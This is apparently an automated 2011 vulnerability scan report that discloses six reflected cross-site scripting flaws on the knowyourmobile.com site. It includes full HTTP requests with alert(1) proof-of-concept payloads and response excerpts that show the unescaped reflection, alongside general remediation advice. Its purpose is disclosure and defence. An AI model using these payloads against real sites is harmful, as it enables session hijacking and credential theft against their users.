XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, knowyourmobile.com, googleio, keyword, trend

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Tue May 10 08:35:06 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

1.1. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 1]

1.2. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 1]

1.3. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 2]

1.4. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 3]

1.5. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter]

1.6. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter]

1. Cross-site scripting (reflected)
There are 6 instances of this issue:

/features/881740/google_io_what_to_expect.html [REST URL parameter 1]
/features/881740/google_io_what_to_expect.html [REST URL parameter 1]
/features/881740/google_io_what_to_expect.html [REST URL parameter 2]
/features/881740/google_io_what_to_expect.html [REST URL parameter 3]
/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter]
/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 265a8'-alert(1)-'22becf0b160 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /features265a8'-alert(1)-'22becf0b160/881740/google_io_what_to_expect.html HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

1.2. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb01b"-alert(1)-"c1d3a58f98a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /featureseb01b"-alert(1)-"c1d3a58f98a/881740/google_io_what_to_expect.html HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.5.35
Content-Type: text/html; charset=utf-8
X-Powered-By: NetGenie
Pragma:
Vary: Accept-Encoding
expires: -1
cache-control: no-cache
Date: Tue, 10 May 2011 13:25:49 GMT
X-Varnish: 1306147908
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS
Content-Length: 51303

               <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html1/DTD/html1-transitional.dtd">
<html><head>
<meta name='google-site-verification' content='DHLWACg
...[SNIP]...
me OS,Nexus";
   var sourcedescription = "With Google I/O 2011 almost upon us we're exploring what you can look forward to from the ever popular developer conference";
   var sourceurl = "/featureseb01b"-alert(1)-"c1d3a58f98a/881740/google_io_what_to_expect.html";
   var sourceurlfull = "http://kym.net-genie.co.uk/featureseb01b"-alert(1)-"c1d3a58f98a/881740/google_io_what_to_expect.html";
   var sourcemainsection = "/featu
...[SNIP]...

1.3. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aabce"-alert(1)-"de145d941b6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /features/881740aabce"-alert(1)-"de145d941b6/google_io_what_to_expect.html HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.5.35
Content-Type: text/html; charset=UTF-8
X-Powered-By: NetGenie
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:28:06 GMT
X-Varnish: 1306164344
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Content-Length: 34201

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html1/DTD/html1-transitional.dtd">
<html><head>
<meta name='google-site-verification' content='DHLWACgaREqVSB+aho
...[SNIP]...
"";
   var tagq = "";
   var sourceTag = "/other/";
   var sourcetag = "/other/";
   var sourcetitle = "";
   var sourcekeywords = "";
   var sourcedescription = "";
   var sourceurl = "/features/881740aabce"-alert(1)-"de145d941b6/google_io_what_to_expect.html";
   var sourceurlfull = "http://kym.net-genie.co.uk/features/881740aabce"-alert(1)-"de145d941b6/google_io_what_to_expect.html";
   var sourcemainsection = "";
   var sour
...[SNIP]...

1.4. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1a331"-alert(1)-"2f8cb09663 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /features/881740/google_io_what_to_expect.html1a331"-alert(1)-"2f8cb09663 HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.5.35
Content-Type: text/html; charset=UTF-8
X-Powered-By: NetGenie
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:30:47 GMT
X-Varnish: 1306183286
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Content-Length: 34199

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html1/DTD/html1-transitional.dtd">
<html><head>
<meta name='google-site-verification' content='DHLWACgaREqVSB+aho
...[SNIP]...
rceTag = "/other/";
   var sourcetag = "/other/";
   var sourcetitle = "";
   var sourcekeywords = "";
   var sourcedescription = "";
   var sourceurl = "/features/881740/google_io_what_to_expect.html1a331"-alert(1)-"2f8cb09663";
   var sourceurlfull = "http://kym.net-genie.co.uk/features/881740/google_io_what_to_expect.html1a331"-alert(1)-"2f8cb09663";
   var sourcemainsection = "";
   var sourcetagkey = sourcetag+" "+source
...[SNIP]...

1.5. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9024e"-alert(1)-"aa98b9cf3ba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /features/881740/google_io_what_to_expect.html?9024e"-alert(1)-"aa98b9cf3ba=1 HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.5.35
Content-Type: text/html; charset=utf-8
X-Powered-By: NetGenie
Pragma:
Vary: Accept-Encoding
expires: -1
cache-control: no-cache
Date: Tue, 10 May 2011 13:23:11 GMT
X-Varnish: 923700629
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS
Content-Length: 51312

               <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html1/DTD/html1-transitional.dtd">
<html><head>
<meta name='google-site-verification' content='DHLWACg
...[SNIP]...
= "With Google I/O 2011 almost upon us we're exploring what you can look forward to from the ever popular developer conference";
   var sourceurl = "/features/881740/google_io_what_to_expect.html?9024e"-alert(1)-"aa98b9cf3ba=1";
   var sourceurlfull = "http://kym.net-genie.co.uk/features/881740/google_io_what_to_expect.html?9024e"-alert(1)-"aa98b9cf3ba=1";
   var sourcemainsection = "/features/";
   var sourcetagkey = sour
...[SNIP]...

1.6. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97af8'-alert(1)-'19c9959f450 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /features/881740/google_io_what_to_expect.html?97af8'-alert(1)-'19c9959f450=1 HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

Report generated by XSS.CX at Tue May 10 08:35:06 CDT 2011.